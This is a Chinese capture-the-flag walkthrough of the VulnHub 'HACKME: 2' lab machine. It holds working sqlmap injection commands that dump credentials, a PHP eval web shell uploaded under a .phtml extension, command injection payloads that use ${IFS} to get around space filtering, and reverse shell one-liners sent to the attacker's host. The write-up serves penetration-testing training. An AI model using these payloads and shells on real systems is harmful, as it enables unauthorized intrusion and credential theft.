靶机:HACKME: 2
0x01靶机介绍
项目 | Value |
---|---|
项目地址 | https://www.vulnhub.com/entry/hackme-2,618/ |
镜像链接 | https://download.vulnhub.com/hackme/hackme2-DHCP.ova |
作者 | x4bx54 |
发布日期 | 2020年12月6日 |
系列 | hackme |
难度 | 中等 |
目的 | 获取root权限 |
0x02靶机搭建
工具:VMware Workstation 17.0
镜像:hackme2-DHCP.ova
搭建方式:
1.文件–>打开–>hackme2-DHCP.ova
2.虚拟机配置如下(默认即可):
3.打开攻击机Kali(NAT模式)和靶机
NAT网段:192.168.52.0/24
Kali的ip地址: 192.168.52.129
0x03渗透流程
步骤和hackme1差不多
1.信息收集
(1).arp扫描主机
arp-scan -l
发现目标主机:192.168.52.128
(2).nmap扫描主机详细信息
nmap -sV -p- 192.168.52.128
发现目标机器开启22、80端口
网页访问http://192.168.52.128:80
(3).web目录扫描
dirb http://192.168.52.128
发现敏感目录uploads,访问查看一下:
访问不了,先不管,继续下一步。
2.漏洞挖掘
(1)SQL注入挖掘
访问:http://192.168.52.128/login.php
根据hackme1经验,直接注册账号登陆。
用户名:admin
密码:123456
老方法:先测试sql注入:
OSINT' //无回显
OSINT'# //回显正常
说明存在单引号sql注入,使用burp进行抓包后保存为hackme2.txt文件,
sqlmap执行命令:
sqlmap -r hackme2.txt -p search --dbs --batch
发现跑不出来东西,直接火力全开
sqlmap -r hackme2.txt -p search --level 5 --risk 3 --batch --random-agent --tamper=space2comment
还是跑不出来,根据提示的信息指定数据库版本为Mysql试试
sqlmap -r hackme2.txt -p search --dbms= “MySQL” --level 5 --risk 3 --batch --random-agent --tamper=space2comment
成功爆出数据库版本信息
爆数据库名称:
sqlmap -r hackme2.txt -p search --dbms= “MySQL” --level 5 --risk 3 --batch --random-agent --tamper=space2comment --dbs
爆数据库webapphacking的表:
sqlmap -r hackme2.txt -p search --dbms= “MySQL” --level 5 --risk 3 --batch --random-agent --tamper=space2comment -D webapphacking --tables
爆users表字段:
sqlmap -r hackme2.txt -p search --dbms= “MySQL” --level 5 --risk 3 --batch --random-agent --tamper=space2comment -D webapphacking -T users –columns
爆字段数据:
user,name,pasword
sqlmap -r hackme2.txt -p search --dbms= “MySQL” --level 5 --risk 3 --batch --random-agent --tamper=space2comment -D webapphacking -T users -C user,name,pasword --dump
去 https://www.bejson.com/enc/md5dsc/ 解密superadmin密码如下
即:
用户名:superadmin
密码:Uncrackable
(2)文件上传
使用superadmin登陆:
制作一个一句话木马的图片,这里直接将
<?php @eval($_POST['cmd']); ?>
命令写在txt文件中,然后将后缀改为了jpg
上传然后使用Burp抓包如下:
没显示内容,自己编辑一下(这里名字为shell.php.是为了后面的测试):
通过回显看到成功上传(没上传php后缀是因为网页对php后缀进行了过滤,可通过回显判断)
但是之前访问http://192.168.52.128/uploads的时候是不存在的
因为找不到文件的存放点,所以需要寻找其他漏洞进行利用
(3)命令执行
superadmin在如下界面还有一个功能:
随便输点数据进行测试,
First Name:1+1
Last Name:1+3
发现Last Name处将数据进行了处理
再次测试
First Name:1
Last Name:System('id')
成功回显,发现命令执行漏洞,尝试反弹shell
kali开启监听端口
nc -lvvp 7777
输入反弹shell命令(失败)
First Name:1
Last Name:System('/bin/sh -i >& /dev/tcp/192.168.52.129/7777 0>&1')
可以看到回显中将空格过滤掉了,这里添加特殊字符当空格试一下(失败):
First Name:1
Last Name:System('/bin/sh${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.52.129/7777${IFS}0>&1')
换种思路,这里想起之前上传的文件,查看下文件welcomeadmin.php的源码看看能不能找到上传的路径
First Name:1
Last Name:System('cat${IFS}welcomeadmin.php')
发现文件目录存在:
/var/www/html/uploads/year2020/
访问目标:
http://192.168.52.128/uploads/year2020/shell.php.
发现之前创建的文件,
通过welcomeadmin.php的源码分析,发现对如下后缀进行了过滤
html
js
php
php3
php4
php5
尝试上传phtml后缀成功,
访问http://192.168.52.128/uploads/year2020/shell.phtml显白!!!好消息
蚁剑连接ok
3.提权
(1)信息收集:
whoami
id
hostname
(2)反弹shell
使用刚刚开启的kali端口反弹shell,执行如下命令成功反弹:
mknod a p; telnet 192.168.52.129 7777 0<a | /bin/bash 1>a
(3)提权成功
cd /home/legacy
./touchmenot
0x04实验总结
渗透测试不能盯着一个功能点不放,要多方面测试